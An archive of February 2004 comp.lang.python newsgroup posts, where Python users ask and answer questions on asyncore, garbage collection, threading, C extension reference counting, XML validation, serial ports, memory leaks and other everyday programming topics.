> same process? I might try file_dispatcher around a pipe, but maybe I
> should use different design altogether.
> 
> George
> 

#to control asyncore
while 1:
     asyncore.loop(.1)
     if not fromgui.empty():
         #handle messages from GUI

Another option is to just have one thread, with the mainloop of Tkinter 
do a single asyncore.loop(0) call every .01 seconds or so.  In wxPython 
I'd just use a wxTimer, I don't know if Tkinter has an equivalent.

  - Josiah


From jamontoya at unitec.edu  Wed Feb 18 18:40:57 2004
From: jamontoya at unitec.edu (JAVIER ALBERTO MONTOYA TORRES)
Date: Wed, 18 Feb 2004 17:40:57 -0600
Subject: Garbage Collection Method
Message-ID: <655a4260187e6989.187e6989655a4260@unitec.edu>

Someone else know whats the way Python collect Garbage, by 
unreferenced locations in memory, usings flags, maybe hybrid of two or 
more methods, ... Can help me?

Javier Montoya




From roberto at dealmeida.net  Tue Feb  3 06:26:29 2004
From: roberto at dealmeida.net (Roberto A. F. De Almeida)
Date: 3 Feb 2004 03:26:29 -0800
Subject: Smarter way of doing this?
References: <401e4d57$0$295$edfadb0f@dread12.news.tele.dk>
Message-ID: <10c662fe.0402030326.5a6b87bc@posting.google.com>

Max M <maxm at mxm.dk> wrote in message news:<401e4d57$0$295$edfadb0f at dread12.news.tele.dk>...
> I have written this function, "choose_by_probability()"
> 
> It takes a list of probabilities in the range 0.00-1.00, and it must 
> then randomly select one of the probabilities and return it's index.
> 
> The idea is to have two lists, one with a value, and another with a 
> probability. The value then gets randomly selected from its probability.
> 
> values = ['item 1','item 2','item 3',]
> probabilities = [0.66, 0.33, 0.16]
> 
> print values[choose_by_probability(probabilities)]
>  >>'item 1'
> 
> etc...
> 
> I just wondered if anybody has a better way of doing it, as this seems 
> nastily squared to me?

In one line:

v = ['item 1','item 2','item 3',]
p = [0.66, 0.33, 0.16]

[v[i] for i,j in enumerate(p) if sum(p[:i]) > (random.random()*sum(p))][0]

R.


From bob at redivi.com  Sun Feb 29 12:54:52 2004
From: bob at redivi.com (Bob Ippolito)
Date: Sun, 29 Feb 2004 12:54:52 -0500
Subject: Speed Comparison Perl Python & C
References: <c1t89m$a3u$1@solaris.cc.vt.edu>
Message-ID: <2004022912545243658%bob@redivicom>

On 2004-02-29 12:44:51 -0500, Bart Nessux <bart_nessux at hotmail.com> said:

> Just fooling around this weekend. Wrote and timed programs in C, Perl and
> Python. Each Program counts to 1,000,000 and prints each number to the
> console as it counts. I was a bit surprised. I'm not an expert C or Perl
> programming expery, I'm most familiar with Python, but can use the others
> as well.
----
> What do you guys think of this? I don't know enough about Perl & C, and
> perhaps Python, to know if this was indeed a fair test. I thought C would
> do this much faster than it did. Any ideas?

What exactly are you trying to benchmark here?  How fast your console 
is?  Which language buffers stdout the best?

-bob



From ajsiegel at optonline.com  Fri Feb 27 07:42:32 2004
From: ajsiegel at optonline.com (Arthur)
Date: Fri, 27 Feb 2004 12:42:32 GMT
Subject: No Thoughts about Everything
References: <mailman.197.1077877758.8594.python-list@python.org>
Message-ID: <2m6e40lehbro5g5l0nb4ectp2h8fvp7f05@4ax.com>

On Fri, 27 Feb 2004 11:35:26 +0100, b-blochl <bblochl2 at compuserve.de>
wrote:
>
>My  starting point was the modifier static in combination with final. (I 
>will use it to define natural constants once, without a chance to change 
>them, may be eventually by inattention.) But I argue that that 
>JAVA-concepts are not familiar in the python world. (One should look 
>over the fence from time to time!)

You set a good example by looking over the fence, to Python.

> The modifier "final" (he keyword 
>final) means that the value assigned to a name is final and will never 
>change. such name declared *static and final* will exist as a single 
>copy of the constant and will be shared among all the objects 
>instantiated from the class.

I think we all understand that.

>Preventing  programmers to reassign values of Variables is obligate 
>suspicion for the sake of robust professional program development. 

*You* introduced the issue of teaching introductory prgramming .
Assumedly, at University - not trade school.  I opined that an
emphasis on issues related to  "robust professional development"  were
out of place in such a course. 

I happen to also believe that programming is, inherenetly, a rigrous
discipline.  And object strenously to pedagogical approaches that look
to soft pedal that fact.

So please don't misunderstand my point.

And was hoping that in looking over the fence to Python you might see
something that would allow you  a more natural, flexible and powerful
approach to teaching 

There is no indication you have seen my point, and rejected it.  Which
I would prefer.

I am not a professional developer working in a robust professional
environment. I leave it to the many Python developers who are, to
argue your other concerns.

Art




From harry.g.george at boeing.com  Tue Feb 10 02:43:27 2004
From: harry.g.george at boeing.com (Harry George)
Date: Tue, 10 Feb 2004 07:43:27 GMT
Subject: communicating with Java (from Python)
References: <c0a1tu$vue$1@hyppo.gu.net>
Message-ID: <xqx3c9jz8f4.fsf@cola2.ca.boeing.com>

Max Ischenko <max at ucmg.com.ua.remove.it> writes:

> Hi,
> 
> I want to communicate my Python application with the Java one.
> The most obvious choice is XML-RPC, but ... I wonder about something
> more pythonic and powerful, like pyro.
> 
> Could you suggest something?
> 
> Using Jython to be able to use pyro is not technically feasible.
> 
> ... A scientist builds in order to learn; an engineer learns in order
> to build.
>       -- FRED BROOKS
> 
> 

There was a thread to this topic a few weeks ago and XML-RPC came up
as the best bet, even for on-the-same-box communication.

I'd really like to try JPE:
http://jpe.sourceforge.net/
When I tried to run it, I couldn't get the pieces to compile (it's
been a while so I don't remember details).

-- 
harry.g.george at boeing.com
6-6M31 Knowledge Management
Phone: (425) 342-5601


From fumanchu at amor.org  Mon Feb  2 10:47:49 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Mon, 2 Feb 2004 07:47:49 -0800
Subject: Thread stops!!
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561CB3@opus.amorhq.net>

Steve wrote:
> Hi,
> 
> I have a multithreaded python script that collects some data 
> periodically and populates it into a database. For some 
> reason, one of 
> the thread keeps stopping after running for some while and there's no 
> failure or any other sign of failure. What can possibly be 
> going wrong? 
> how can I track this? Is there someway I can find out if ony of the 
> thread stopped? Please help!!
> 
> -- 
> Steve

Quick and dirty: have your threads append exception strings to a
module-level list or dictionary, which you can then read with a
different thread. Example follows; extend if you need it.

runProblems = []

def run_thread():
    try:
        run()
    except Exception, x:
        runProblems.append(str(x))

def dump_problems():
    print runProblems


HTH


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From jcarlson at nospam.uci.edu  Sat Feb 21 13:27:27 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sat, 21 Feb 2004 10:27:27 -0800
Subject: How do I access Python's dictionary of all global variables?
In-Reply-To: <c9d82136.0402210903.7cbf2335@posting.google.com>
References: <c9d82136.0402210903.7cbf2335@posting.google.com>
Message-ID: <c1883b$lum$1@news.service.uci.edu>

Cameron already dealt with globals, so I'll try to tackle this one.

> Is it possible to iterate through all variables in all scopes in all objects?

Quick answer: no

Long answer: you would need to get access to every object pointer in the 
entirety of the interpreter.  I'm sure this could probably be done with 
a C extension module that returned a list of every object in existance 
by hooking into the garbage collector, but you really don't want to do 
this, because you'd get references to EVERYTHING, including functions, 
methods, C extension functions, etc.

A better idea would be to use weakrefs to keep references to every live 
object that you care about, and if you desire, search through those:

class myobject:
     __olist = {}
     def __init__(self):
         #create a weak reference to yourself
         #place it in the __olist
         self.__olist[id(self)] = ref(self)
     def __del__(self):
         del self.__olist[id(self)]
     def get_olist(self):
         #this creates a hard reference to every object
         return [o() for o in self.__olist.values() if o() is not None]


  - Josiah


From matthew.warren at powergen.co.uk  Tue Feb  3 08:18:44 2004
From: matthew.warren at powergen.co.uk (yab)
Date: Tue,  3 Feb 2004 07:18:44 -0600
Subject: Newbie import probelm..
References: <ff36431bb1a38e64e5fa583bf7be2715@localhost.talkaboutprogramming.com>
	<bvo3gs$usj3t$1@ID-111250.news.uni-berlin.de>
Message-ID: <d62e709111800de9330b8f022f5853e2@localhost.talkaboutprogramming.com>

Thanks for the carification, helped me sort out what was going on.

Thanks :)

Matt/yab



From rogerb at rogerbinns.com  Tue Feb 17 22:12:19 2004
From: rogerb at rogerbinns.com (Roger Binns)
Date: Tue, 17 Feb 2004 19:12:19 -0800
Subject: Comm Port support in Python ?
References: <zqpYb.47101$Bb.750778@twister.tampabay.rr.com>
	<c0ta54$1acihd$1@ID-111250.news.uni-berlin.de>
Message-ID: <ap1bg1-s14.ln1@home.rogerbinns.com>

> > Does Python have comm port support built in or does someone have a tool
> > for sending and receiving data in & out of a PC com port?
>
> It has - as extra module called pyserial, you can get it from sf. It
> supports *NIX, Windows and via special classes even JAVA/Jython.
>
> If it supports mac I have no idea, but I guess OS X _could_ work, as its
> *NIX-flavoured...

Yes, pySerial works on Mac.  My BitPim project - http://bitpim.sf.net
uses it on Windows, Linux and Mac.  And if you end up discovering that
you also need to support USB devices, I have a treat for you:

  http://cvs.sourceforge.net/viewcvs.py/bitpim/bitpim/native/usb/

Roger




From cjw at sympatico.ca  Sat Feb 14 10:12:42 2004
From: cjw at sympatico.ca (Colin J. Williams)
Date: Sat, 14 Feb 2004 10:12:42 -0500
Subject: Beginners list of Python donloads - please review
In-Reply-To: <TupXb.39481$Bb.333441@twister.tampabay.rr.com>
References: <TupXb.39481$Bb.333441@twister.tampabay.rr.com>
Message-ID: <LVqXb.21597$y07.726140@news20.bellglobal.com>



Will wrote:

> Pardon two post in a row to the newsgroup but I want to try and expedite
> this, if you guys don't mind helping out...
> 
> I running Windows XP Pro and wanted to download Python and any additional
> tools I should consider using as I get going...
> 
> 1 - Python-2.3.3.exe from www.Python.org
> 2 - win32all, a collection of Windows-specific extensions including COM
> support and Pythonwin, an IDE built using Windows components from Mark
> Hammond's
> 3 - Py2exe from http://starship.python.net/crew/theller/py2exe/index.html
> 4 - PythonCard from http://pythoncard.sourceforge.net/
> 5 - WxPython from http://www.wxpython.org/
> 6 - Python Docs from http://www.python.org/doc/2.3.3/
> 7 - Beginners Guide to Python from http://www.python.org/topics/learn/
> (various options here)
> 
> Please suggest additions or deletions.
> 
> Thanks - Will
> 
You might consider adding numarray, if you are interested in numeric 
problems - linear algebra etc.

Colin W.




From roy.11l9xc at webfrustration.com  Fri Feb 13 18:41:26 2004
From: roy.11l9xc at webfrustration.com (roy)
Date: Fri, 13 Feb 2004 23:41:26 GMT
Subject: Validating xml form in python
Message-ID: <f57f6abe9f9bcf6b63c964f186fa072a@news.teranews.com>

Hi.
I'm a newby in python and I need your help.
I have xml doc. that I need to validate against xml schrma
(prefferable,because it's newer technology) or against dtd.

I have the 2.3 python installed, with the default built-in xml package.
( xml.dom.minidom.....)

Can you please tell me :
1. if there is any package that I need
to install ( or the one that is currently installed can do the
work)
2. give me an example how to validate the xml against 
schema   or   dtd?

I appreciate your help very much

Thanks
Roy
--
roy
------------------------------------------------------------------------
posted via www.WebFrustration.com 



From timr at probo.com  Sat Feb 14 03:28:05 2004
From: timr at probo.com (Tim Roberts)
Date: Sat, 14 Feb 2004 00:28:05 -0800
Subject: sets and subsets
References: <c0e4g3$r1$1@solaris.cc.vt.edu> <zcxWb.464065$JQ1.270296@pd7tw1no>
	<4gxWb.39659$P17.14674@fed1read03> <c0e890$6hu$1@solaris.cc.vt.edu>
	<c0e9n4$6gf$1@panix3.panix.com>
Message-ID: <iomr205ir8n2fgtrmqaeg30pe45c3v4oet@4ax.com>

aahz at pythoncraft.com (Aahz) wrote:
>
>[content at *bottom*]
>...
>A: Because it messes up the order in which people normally read text.
>Q: Why is top-posting such a bad thing?
>A: Top-posting.
>Q: What is the most annoying thing on usenet?

You know, it may be time for this crusade to end.  What you say is entirely
valid if a single Usenet post is read out of context.  However, when using
a threaded newsreader, as 90% of us do, top-posting allows me to read the
new content without moving my eyes.  I just press N, N, N to move to the
next message and scan the new content at the top of the message.  In this
particular thread, the content quickly grew larger than my newsreader's
preview pane, so bottom-posting requires me to move the focus to the
preview pane and scroll down to read.

Besides, the MOST annoying thing on Usenet is HTML posts.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.


From martin at v.loewis.de  Mon Feb  9 17:28:23 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 09 Feb 2004 23:28:23 +0100
Subject: internationalisation/gettext - any sample (.MO) data available ?
In-Reply-To: <282f826a.0402090233.25f03c5d@posting.google.com>
References: <282f826a.0402021907.2266c6b4@posting.google.com>
	<bvopcd$kt1$01$1@news.t-online.com>
	<282f826a.0402050231.6bb16bcc@posting.google.com>
	<bvvdmj$vfh$06$1@news.t-online.com>
	<282f826a.0402090233.25f03c5d@posting.google.com>
Message-ID: <c091i4$3u5$07$1@news.t-online.com>

Richard Shea wrote:
> Hi Martin - Just wanted to let you know that I tried again using the
> set lang=german and it all worked beautifully ! It's really quite
> weird to see it happen even on a tiny example like this. Thanks very
> much for your help I appreciate it very much.

You are welcome! I'm glad you got it working.

Martin



From alloydflanagan at comcast.net  Fri Feb  6 17:18:59 2004
From: alloydflanagan at comcast.net (A. Lloyd Flanagan)
Date: 6 Feb 2004 14:18:59 -0800
Subject: where does Python stand?
References: <d99e1341.0402050505.226a01c8@posting.google.com>
Message-ID: <e838aa6e.0402061418.28fe62fc@posting.google.com>

crescent_au at yahoo.com (Ben) wrote in message news:<d99e1341.0402050505.226a01c8 at posting.google.com>...
> Hi all!
> 

Python doesn't stand anywhere.  With no legs, he has to crawl.


From james at logicalprogression.net  Fri Feb 13 10:03:33 2004
From: james at logicalprogression.net (James Henderson)
Date: Fri, 13 Feb 2004 15:03:33 +0000
Subject: [Python-mode] compile problem in emacs
In-Reply-To: <23276.1076657602@www3.gmx.net>
References: <16427.61480.908629.945920@montanaro.dyndns.org>
	<23276.1076657602@www3.gmx.net>
Message-ID: <200402131503.33955.james@logicalprogression.net>

On Friday 13 February 2004 7:33 am, vissen at gmx.net wrote:
hi 

i am new to Linux and Python. 

I get a syntax error for this  line of code.
.....
def fib(n):    # write Fibonacci series up to n
........

I'm guessing you copy and pasted from a webpage and included a space at the 
start of the line, but sending us all the code and the whole error message 
would have been more helpful.

James
-- 
James Henderson, Logical Progression Ltd.
http://www.logicalprogression.net/
http://sourceforge.net/projects/mailmanager/




From jcarlson at nospam.uci.edu  Mon Feb  2 02:19:24 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 01 Feb 2004 23:19:24 -0800
Subject: OT: why do web BBS's and blogs get so slow?
In-Reply-To: <7xy8rmukd2.fsf@ruckus.brouhaha.com>
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
	<bvic0i$bbt$1@panix1.panix.com>
	<7xk736s7av.fsf@ruckus.brouhaha.com>
	<bvkgjl$1r1$1@panix1.panix.com>
	<7x1xpece0g.fsf@ruckus.brouhaha.com>
	<bvkln6$d2k$1@news.service.uci.edu>
	<7xy8rmukd2.fsf@ruckus.brouhaha.com>
Message-ID: <bvktq3$k3b$1@news.service.uci.edu>

> OK, "active in some way" can mean read-only users who neer do anything
> that causes any DB updates.  It can also mean someone who posts a
> comment once a month.  Also, that doesn't say how much hardware they
> use.

Hrm...I'll actually check the page.
http://www.livejournal.com/stats.bml

As of right now, says that > 217,000 users have updated their 
livejournal in the last 24 hours.  That is 217,000 database writes in 
the last 24 hours.  Nothing to shake a stick at.

However, most every post has the option of people commenting on it. 
Those stats don't count comments, which all require a DB write.  I would 
be willing to bet that the number of replies to posts exceeds the number 
of posts, but replies don't seem to count.

Checking on my own counts, I've posted 553 entries, received 1,110 
comments to my posts, and posted 1,767 replies to other entries.  Now, 
if we assume I'm a lower bound, then for every entry in someone's 
livejournal, there are at least two comments, which means that there 
were an additional ~400,000 database writes that involved comments.


>>30k visitors/day,

> Another informative number (about 1/10th as many visitors/day as
> Slashdot gets).

Or really, from my above numbers, > 200,000 visitors/day.


> OK, I'm not familiar with all LJ features, but so far this doesn't sound
> too bad.

With the new numbers, perhaps you'll change your mind ;).


>>No offense, but I'd love to see you write a BBS/Blogging software that
>>does that - in any language.
> 
> I have some curiosity about how to go about that (hence this thread)
> but at the moment I don't have powerful enough motivation to actually
> want to do the work.

Yeah.  The trick is that most anything that is really intellectually 
stimulating, is difficult to do.  Solving the dynamic-page-generation 
problem can be intellectually stimulating, but it is not easy.  Adding 
into it the page formatting with templates problem, database load, 
bandwidth problem, etc.  It starts getting unweildy very quickly.

  - Josiah


From jonas at jonasgalvez.com  Tue Feb 17 02:34:59 2004
From: jonas at jonasgalvez.com (Jonas Galvez)
Date: Tue, 17 Feb 2004 04:34:59 -0300
Subject: Interactive interpreter problem
References: <c0sgdh$352$1@sea.gmane.org>
Message-ID: <c0sgpv$3ps$1@sea.gmane.org>

> Hi, I just upgraded to Python 2.3.3, and I'm getting this:
> http://www.jonasgalvez.com/unsorted/weirdo.png

Ops, forgot to describe the problem: it doesn't matter what I type on
the interpreter. I ALWAYS get a syntax error.


Jonas






From jcarlson at nospam.uci.edu  Thu Feb  5 21:33:06 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Thu, 05 Feb 2004 18:33:06 -0800
Subject: How can this be?
In-Reply-To: <4eBUb.15701$uM2.7740@newsread1.news.pas.earthlink.net>
References: <4eBUb.15701$uM2.7740@newsread1.news.pas.earthlink.net>
Message-ID: <bvuuhd$3vd$1@news.service.uci.edu>

> Without my posting the function def (which is
> very lengthy), can anyone possibly give me a 
> clue about what might be a likely cause of this
> behavior?  (It *is* irregular, isn't it?  ?) 

Your function is changing it:

 >>> def fun(input):
...     input[0] = 1
...
 >>> L = [0]
 >>> print L
[0]
 >>> fun(L)
 >>> print L
[1]
 >>>


  - Josiah


From brian at sweetapp.com  Tue Feb 10 14:55:52 2004
From: brian at sweetapp.com (Brian Quinlan)
Date: Tue, 10 Feb 2004 11:55:52 -0800
Subject: package similar to XML::Simple
In-Reply-To: <402931E4.C1E50E92@engcorp.com>
Message-ID: <0bbe01c3f00f$e3c04470$0000fea9@dell8200>

Peter Hansen wrote:
> > I have no problem with the existence of PyRXP. It just isn't an XML
> > parser.
> 
> Then there are very few XML parsers in the world, if one includes, say,
> namespaces and validation as part of XML.

An XML parser must be able to parse all (1) well-formed XML documents. The
W3C XML recommendation provides a definition for well-formed XML documents,
and can be found here:
http://www.w3.org/TR/2004/REC-xml-20040204/

(1) I'll quality this a bit since the size of XML documents is unbounded
    and computer resources are.

Cheers,
Brian




From woodsplitter at rocketmail.com  Mon Feb 23 00:42:17 2004
From: woodsplitter at rocketmail.com (David Rushby)
Date: 22 Feb 2004 21:42:17 -0800
Subject: python extension: incref question
References: <mailman.171.1077471512.27104.python-list@python.org>
Message-ID: <7876a8ea.0402222142.143bbe5f@posting.google.com>

John Hunter <jdhunter at ace.bsd.uchicago.edu> wrote in message news:<mailman.171.1077471512.27104.python-list at python.org>...
> I am writing a python extension and have a question about reference
> counting on an attribute I set.
> ... 
> I infer from this that since a new ref is created by PyInt_FromLong,
> and PyDict_SetItemString doesn't take ownership, that I should
> decrease the reference count in my types dealloc function.  Is this
> correct?

Mostly.  You're right about the reference ownership (PyDict_SetItem
creates its own reference (see Python 2.3.3
Objects/dictobject.c:531)).  However, I would recommend disposing of
the extra reference not in your type's dealloc function, but as soon
as you've sent the value to Glyph_setattr.  Something along the lines
of:
---
PyObject *val = PyInt_FromLong(self->face->glyph->metrics.width);
if (val == NULL) {
  return PyErr_NoMemory();
}
int gsetResult = Glyph_setattr(gm, "width", val);
Py_DECREF(val);
if (gsetResult == -1) {
  ...
}
---
That way, you will have disposed of the extra reference to val as soon
as it's no longer needed.  In your type's dealloc function, you can
simply Py_XDECREF(self->x_attr), and x_attr will dispose of its own
reference to val.

If you were to wait to dispose of the extra reference until your
type's dealloc function were called, but in the meantime
Glyph_setattr(gm, "width", ...) were called again, the extra reference
to val would be lost in the shuffle.


From mwh at python.net  Wed Feb 25 07:15:23 2004
From: mwh at python.net (Michael Hudson)
Date: Wed, 25 Feb 2004 12:15:23 GMT
Subject: Memory Leak
References: <f3ff61d9.0402240659.742d2d2a@posting.google.com>
Message-ID: <m3hdxffj8l.fsf@pc150.maths.bris.ac.uk>

guy.flowers at Machineworks.com (Guy) writes:

> Hi
> 
> It might take me a little time to explain this but here goes.
> Firstly I'm not using the latest upto date python releases so my first
> plan is to try more upto date rels of python and win32 libs, as this
> has fixed problems for me in the past (Don't like doing this as it
> usally breaks stuff and sys admin are slow to update software,
> although they do a cracking job, just covering my back.)
> 
> I've created a build script for my companies product, the product is
> in c and can be built using makefiles and gmake and dsps if using
> win32. The script seems to work ok, it builds by setting processes off
> and then it returns the built libs exe to a network area.
> 
> The problems occure when I build more than one flavour of the product,
> (there are 16 possible flavours and about 50 modules which get turned
> into libs and exe's  this means theres 800 processes to be set off one
> after the other or if using a clean build 1600 process and thats just
> for win32, to build one flavour it takes about 40 mins on my comp.)
> 
> When using the build script it keeps logs of what its built and
> records all output from the process all these python objs and lists
> are destroyed by using del to try and free up memory, this never seems
> to have that much effect the memory just keeps getting used up until
> usally the script or python crashes due to the lack of mem.

Um, I don't think you understand what 'del' does.

For an oblique perspective on these issues, you might find reading the
messages mentioned in

    http://starship.python.net/crew/mwh/hacks/pep310/

enlightening, particularly my last one.  Quoting:

    >> I guess I have a lispers approach to this: view memory as
    >> infinite and assume the implementation does enough behind its
    >> back to maintain this illusion so long as not too many objects
    >> are actually live.
    >
    > If you seperate the memory and object concepts, an object can
    > cease to exist even though memory is still allocated for it.

    Well, this begs another question that I guess underlies all of
    this: what does it mean for an object to be "alive"?  Again, my
    background is functional/lisp-like languages, and I'm stealing
    this description more-or-less from Appel's "Modern Compiler
    Implementation in ML":

       An object is *live* if it will be used again by the executing
       program.

    At any given point of program execution, determining the set of
    live objects can obviously be at least as hard as the halting
    problem, so we settle for a weaker notion:

       An object is *reachable* if it can be reached by traversing the
       object graph from a given set of roots (in Python, things like
       locals and the globals of all loaded modules).

    The runtime pessimistically assumes that all reachable objects are
    live (and reachable but not live objects can be a cause of memory
    leaks in Python and other GCed languages).

    From this point of view, you never actually /destroy/ objects, you
    just forget about them, and a __del__ method is a side-effect of
    dropping the last reference to an object -- a slightly unnatural
    action to have a side effect!

    This is obviously in contrast to C++, where you /do/ destroy
    objects (or in the case of local variables, it is clear when the
    object will be destroyed as a function of program flow).

I guess you are probably in the "reachable but not live" case of
memory leaks.

Instead of doing 'del alist' you might want to try 'del alist[:]' and
see if behaviour improves.

Cheers,
mwh

-- 
112. Computer Science is embarrassed by the computer.
  -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html


From kraus at hagen-partner.de  Wed Feb 18 04:43:31 2004
From: kraus at hagen-partner.de (Wolfram Kraus)
Date: Wed, 18 Feb 2004 10:43:31 +0100
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Feb 17)
In-Reply-To: <seisi4pwb4.fsf@pc020549.dhcp.germanlloyd.org>
References: <1035d0r9kdr824b@corp.supernews.com>
	<seisi4pwb4.fsf@pc020549.dhcp.germanlloyd.org>
Message-ID: <c0vc3l$64s$1@ork.noris.net>

Berthold H?llmann wrote:
> "Cameron Laird" <python-url at phaseit.net> writes:
> 
> ...
> 
>>    In principle, comp.lang.python.announce announces all the great
>>    Python-related software that's available.  Much never appears
>>    there, though.  Among the jewels of the last fortnight:  Python
>>    wrappers for the GNU Scientific Library and NOAA cartographic
>>    toos, a pure Python DHCP server, an XHTML generator, and far too
>>    much more ...
>>	http://pygsl.sourceforge.net/
>>	http://www.cdc.noaa.gov/~jsw/python/gmt/
>>	http://sourceforge.net/projects/pydhcpd/
>>	http://sourceforge.net/projects/hhtml/
> 
> 
> I always get "Invalid Project" for
> "http://sourceforge.net/projects/hhtml"? What's wrong with it?
> 
> Regards
> 
> Berthold

Try http://sourceforge.net/projects/pyxhtml/

HTH,
Wolfram



From nhodgson at bigpond.net.au  Thu Feb 19 04:28:34 2004
From: nhodgson at bigpond.net.au (Neil Hodgson)
Date: Thu, 19 Feb 2004 09:28:34 GMT
Subject: Installation problem on Windows 98
References: <c93e5fda.0402160226.6889923b@posting.google.com>
	<87y8r2l73x.fsf@hydra.localdomain> <4qtqi1wt.fsf@python.net>
	<j1kYb.63374$Wa.7645@news-server.bigpond.net.au>
	<wu6mglcx.fsf@python.net>
	<htFYb.64661$Wa.26252@news-server.bigpond.net.au>
	<ad3gg2xr.fsf@python.net>
Message-ID: <6l%Yb.66370$Wa.11639@news-server.bigpond.net.au>

Thomas Heller:

> After thinking it over: why is pythonW.exe used, and not python.exe?
> Doesn't xemacs, for example, also use python.exe?

   I expect the main reason is to avoid extra console windows.

   Neil




From __peter__ at web.de  Tue Feb 17 04:40:09 2004
From: __peter__ at web.de (Peter Otten)
Date: Tue, 17 Feb 2004 10:40:09 +0100
Subject: Retrieving classes from a module...
References: <c0smr7$2gmr$1@news.uit.no>
Message-ID: <c0snhp$1eg$03$1@news.t-online.com>

Thomas Aanensen wrote:

> How can I get the names of the classes in a specific module? (I don't need
> the subclasses or superclasses)

>>> pyclbr.readmodule("csv").keys()
['Dialect', 'DictReader', 'excel', 'excel_tab', 'DictWriter', 'Sniffer']
>>>

Peter


From itsmikeytime at yahooNOSPAM.com  Thu Feb 26 16:56:46 2004
From: itsmikeytime at yahooNOSPAM.com (Mikey At Work)
Date: Thu, 26 Feb 2004 16:56:46 -0500
Subject: Pure Python HTTPS Server
Message-ID: <c1lq2u$t13$1@news-int2.gatech.edu>

Does anyone know of any HTTPS servers available that are totally written in
Python?  Thanks.




From steve at ninereeds.fsnet.co.uk  Thu Feb 26 10:49:35 2004
From: steve at ninereeds.fsnet.co.uk (Stephen Horne)
Date: Thu, 26 Feb 2004 15:49:35 +0000
Subject: Foundations of computing languages (was: How does Ruby compare
	to Python?? How good is DESIGN of Rubycompared to Python?)
References: <bf23f78f.0402241443.678bf6c8@posting.google.com>
	<slrnc3q0j8.jm5.joe@gate.notcharles.ca>
	<t5fq30l29nidjh1tsksm8jlld03ff3av5o@4ax.com>
	<103qr5nhpiojv25@corp.supernews.com>
	<103qt7s7qtrn3b@corp.supernews.com>
Message-ID: <894s30t3o3dvgn2me0mbmv6vsc1vufvmgu@4ax.com>

On Thu, 26 Feb 2004 04:24:28 -0000, claird at lairds.com (Cameron Laird)
wrote:

>In article <103qr5nhpiojv25 at corp.supernews.com>, I griped:

>>Ouch!  I'm old enough to take some of this personally.
>>Unless you're making some extremely recondite point
>>(about Skolem's influences?), "a century" is too rough
>>an approximation for me.  Church and Kleene introduced
>>the lambda calculus in the '30s; Schoenfinkel, then 
>>Curry, invented currying the decade before.

Oops - sorry

>Wrong.  Well, true, all of it, but I'm neglecting Frege.

That's interesting, but I was actually thinking of Church and Kleene.
I'm just so rusty on my history that I only had a *very* vague sense
of the dates and didn't even remember that anonymous functions and
currying predate lambda calculus. You can rest assured that my wrist
has been slapped.

I don't think I ever heard of Frege before. Nor Skolem. Which is quite
bad, really, if the impressions I've just got from some quick searches
are right.


-- 
Steve Horne

steve at ninereeds dot fsnet dot co dot uk


From ch.pingel at web.de  Thu Feb  5 13:03:49 2004
From: ch.pingel at web.de (Christoph Pingel)
Date: Thu, 5 Feb 2004 19:03:49 +0100
Subject: Python can't divide??!?!
In-Reply-To: <LNBBLJKPBEHFEDALKOLCMEFCIMAB.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCMEFCIMAB.tim.one@comcast.net>
Message-ID: <p05010401bc4835c99848@[80.139.59.114]>

Thanks for this hint. I was as surprised as Dan, indeed.

Christoph

>[Dan Williams, surprised by float division]
>
>It's what your hardware does; Python doesn't try to hide it from you; more
>here (this is Appendix B in the Python Tutorial that came with Python):
>
>     http://www.python.org/doc/current/tut/node15.html



From skip at pobox.com  Fri Feb 27 12:22:27 2004
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 27 Feb 2004 11:22:27 -0600
Subject: Problem with mixing doctest with gettext _()
In-Reply-To: <NlK%b.18102$Mo4.610288@news20.bellglobal.com>
References: <Ysz%b.20076$253.1212052@news20.bellglobal.com>
	<mailman.191.1077856934.8594.python-list@python.org>
	<FZG%b.20178$253.1255290@news20.bellglobal.com>
	<NlK%b.18102$Mo4.610288@news20.bellglobal.com>
Message-ID: <16447.31955.327057.394908@montanaro.dyndns.org>


    Pierre> BUT, the doctest fails:
    ...

Looks like Peter Otten's sys.displayhook hack is required for doctest.

Skip



From martin at v.loewis.de  Thu Feb 12 01:51:59 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 12 Feb 2004 07:51:59 +0100
Subject: Allowing non-ASCII identifiers
In-Reply-To: <4029177e$1@nntp0.pdx.net>
References: <uFQVb.58$%X3.42@nwrddc01.gnilink.net><4027EAC5.2090603@prescod.net>
	<402806A4.6020502@v.loewis.de>
	<mailman.1391.1076369629.12720.python-list@python.org>
	<102geglh6cprm45@news.supernews.com> <4029177e$1@nntp0.pdx.net>
Message-ID: <c0f7qa$4lf$05$1@news.t-online.com>

Scott David Daniels wrote:
> Because some of us use archaic systems and/or fonts which are
> incapable of displaying such symbols.  Never mind whether we
> can read them.

Right. However, policy whether to use non-ASCII identifiers
because of such issues should be with the source code authors,
not with the language implementation. Being able to use non-ASCII
identifiers does not mean you *have* to; not being able means
you *cannot*.

> Also, we would have to solve the issue of multiple representations
> for the same identifier (normalized identifiers)?  

I would use NFC, because it has the best chances of being displayed
properly even on terminals that don't do combining characters.

For the language itself, the specific choice of normalization form
is irrelevant - any form would do (but I agree that normalization
should happen).

> Unicode says we should treat these four identically.  Further,
> they each have a distinct hash code, so a dictionary will not 
> necessarily even try to compare them to find them equal.

If identifiers are Unicode-normalized, this is not an issue -
all copies of the normal form will hash identical.

Regards,
Martin



From srijit at yahoo.com  Sat Feb 28 06:05:09 2004
From: srijit at yahoo.com (srijit at yahoo.com)
Date: 28 Feb 2004 03:05:09 -0800
Subject: Plotting modules
References: <c1m6vd$sij$2@rumours.uwaterloo.ca>
Message-ID: <221d8dbe.0402280305.2b9681a1@posting.google.com>

Hello David,
You may try matplotlib, dislin and wxpyplot. I guess matplotlib +
